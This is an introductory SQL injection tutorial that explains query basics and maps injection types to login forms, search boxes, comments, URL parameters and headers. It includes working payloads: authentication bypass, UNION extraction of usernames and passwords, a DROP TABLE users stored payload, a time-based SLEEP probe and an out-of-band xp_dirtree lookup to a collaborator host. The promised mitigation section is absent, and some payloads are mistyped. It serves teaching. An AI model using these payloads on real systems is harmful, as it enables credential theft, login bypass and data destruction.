SQL Injection - basics, concepts , attack, types , mitigation

Basics

What is SQL ​

​
Explain:
SQL = Structured Query Language
Used to interact with databases like:
MySQL
PostgreSQL
SQL Server
Key Concept:

A database is just tables with rows and columns

Example Table: users

id​ username​ password
1​ admin​ admin123
2​ user​ pass123

Module 2 - SELECT Statement

Basic Syntax:
SELECT column_name FROM table_name;
Example:
SELECT username, password FROM users;

Explain:

SELECT = retrieve data

FROM = which table

●​ WHERE Clause (Filtering Data)​

SELECT * FROM users WHERE username = 'admin';

This returns only the admin row.

​ ​
​ ​ ​ ​ ​ Login Query

SELECT * FROM users WHERE username = 'admin' AND password = 'admin123';

If result exists → login success

​ ​ ​ ​ SQL Injection

SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the
queries that an application makes to its database.
SQL Comments

“--” is the comment

SELECT * FROM users WHERE username = 'admin' --

Everything after -- is ignored
​ ​ ​ ​ Attack Scnerios

The Classic Payload (IMPORTANT)

What does ' OR 1=1 -- mean?

Original Query (Login Example)

SELECT * FROM users WHERE username = 'admin' AND password = 'admin123';

This only returns data if both conditions match.

Attacker Input
admin' OR 1=1 –

Final Query Becomes

SELECT * FROM users
WHERE username = 'admin' OR 1=1 -- ' AND password = 'admin123';
Lets understand better

1.​ ‘ closes the string

a.​ Ends ‘admin’
2.​ OR 1=1 -> Always true
a.​ Conditions becomes
3.​ Username = ‘admin’ OR TRUE
4.​ -- → Comments Out the Rest
Everything after -- is ignored:​
-- ' AND password = 'admin123'

Simple Analogy

Think of it like:

(SELECT * FROM users) (WHERE username = 'admin') (OR 1=1 )-- ' AND password =
'admin123';

“Show me users where (username is admin) OR (always true)”

Since “always true” is included → everyone matches

One-Line Summary

' OR 1=1 -- breaks the query, makes the condition always TRUE, and removes password
checks — so the database returns all records.
 ​ ​ ​ ​ Types of SQL Injection

1.​ Classic SQL Injection (In band sqli) - You inject and directly see the data.

Attacker injects payload and gets result in the same response. Input -> Query -> Output

Types

●​ Union based
●​ Error based

Example
‘ UNION SELECT username, password FROM users –
Data is displayed on the page

When it works
●​ Application shows query results (search bar)
●​ Errors or data are visible

Key to remember - You inject and directly see the data.

 2.​ Blind SQL Injection

No direct output → attacker infers data indirectly

Types

●​ Boolean Based
○​ ‘ AND 1=1 –
○​ ‘ AND 1=2 –
●​ Time Based
○​ ‘ AND SLEEP(5) –
If delayed its a TRUE condition

When it works
●​ No errors shown
●​ No data output

Key to remember - “You don’t see data, you guess it”

3.​ Stored SQL Injection

​
Malicious Input is stored in database and executed later

Example

test'); DROP TABLE users; –

Flow:​

1.​ Attacker submits payload in form

2.​ App stores it in DB
3.​ Later query uses that data -> injection triggers

When does this work

●​ Data is stored and reused in queries

Key to remember - “Inject now, exploit later”

 4.​ Out of band SQL Injection

No response in app -> attacker uses external channel

'; EXEC master..xp_dirtree '\\<[Link]>\a'--

These payloads use master..xp_dirtree to force a DNS lookup to a sub-domain on your

collaborator server.

When it works:
No visible output
DB can make external requests

Key to remember - “Data comes to you through another path”

Ideas - Where to use/ apply which kind of sqli

1.​ Login page -> Authentication Bypass sqli

Login request

SELECT * FROM users WHERE username='INPUT' AND password='INPUT';

SELECT * FROM users WHERE username='admin' AND password='admin123';

If match found -> Login Success

Else Login fail

Authentication Bypass SQLi

Payload:
' OR 1=1 –

Injected query becomes

SELECT * FROM users WHERE username=admin’’ OR 1=1 – ‘AND PASSWORD=’’

Whats Happening

●​ username=’’ -> False

●​ Or 1=1 -> true
 ●​ – comments out rest

●​ FALSE OR TRUE = TRUE

Query returns all users

App logs you in (Usually as first user ie, Admin )

2.​ Boolean-Based SQL Injection

Used to test vulnerability without errors

TRUE condition

Payload:

admin' AND 1=1 --

Query:

SELECT * FROM users WHERE username='admin' AND 1=1 -- ' AND password=''
1=1 → TRUE
behaves like normal login attempt

​ ​ ​ ​ Search box / Filter -> Union Based sqli

●​ Search field ​

SELECT name, price FROM products WHERE name LIKE '%INPUT%';

Possible SQLi

Union based

' UNION SELECT username, password FROM users –

Query

SELECT name, price FROM products WHERE name LIKE '%' UNION SELECT
username, password FROM users -- %';

​ ​ ​ Comment Section / Feedback form

INSERT INTO comments (text) VALUES ('INPUT');

Possible sqli

●​ Stored SQLi

test'); DROP TABLE users; –

​ ​ ​ ​ URL Parameters

Scenario
/product?id=1

Backend it works as SELECT * FROM products WHERE id=INPUT;

Attack scenarios

●​ Union based

1 UNION SELECT username, password FROM users

●​ Boolean based ​
​
1 AND 1=1

File Upload / Hidden Fields (Advanced)

Scenario:
Hidden inputs
Cookies
Headers

Possible SQLi:
Header-based SQLi
User-Agent: ' OR 1=1 --

If logged into DB → injection possible

Summary